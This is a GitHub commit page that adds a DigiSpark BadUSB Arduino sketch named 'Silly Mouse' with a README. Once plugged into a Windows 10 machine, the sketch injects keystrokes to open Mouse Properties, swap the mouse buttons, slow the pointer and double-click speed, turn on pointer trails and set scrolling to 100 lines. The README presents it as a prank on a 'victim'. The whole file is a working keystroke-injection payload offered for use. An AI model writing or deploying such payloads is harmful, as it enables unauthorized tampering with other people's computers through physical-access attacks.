Skip to content

Commit

Permalink
Merge pull request CedArctic#37 from Vel1khan/master
Browse files Browse the repository at this point in the history
Add Silly_Mouse script
  • Loading branch information
CedArctic authored Feb 8, 2020
2 parents 9391375 + 168147d commit 4a1736f
Show file tree
Hide file tree
Showing 2 changed files with 104 additions and 0 deletions.
14 changes: 14 additions & 0 deletions Silly_Mouse/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Silly Mouse script
Why? Because why not? This is the ultimate troll that messes with your victim's mouse settings to unbearable levels.
Inspired by Caleb Hutchinson's Silly Mouse Ducky Payload from hak5darren/USB-Rubber-Ducky, ported to Windows 10 and made better.

# This script does the following:
1. Opens Mouse Properties
2. Switches primary and secondary buttons
3. Changes double-click speed to slow
4. Displays pointer trails
5. Decreases pointer speed to lowest possible setting
6. Increases Vertical Scroll increment to 100 lines

# Credits
- Vel1khaN
90 changes: 90 additions & 0 deletions Silly_Mouse/Silly_Mouse.ino
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
//This DigiSpark script messes with your target's mouse settings to annoying levels
//Tested on Windows 10 with English(US) keyboard layout
//Created by Vel1khan

#include "DigiKeyboard.h"
void setup() {
#define KEY_TAB 43
#define KEY_ARROW_RIGHT 0x4F
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("main.cpl");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.delay(200);
DigiKeyboard.sendKeyStroke(KEY_TAB);
DigiKeyboard.delay(500);
DigiKeyboard.print("100");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}

0 comments on commit 4a1736f

Please sign in to comment.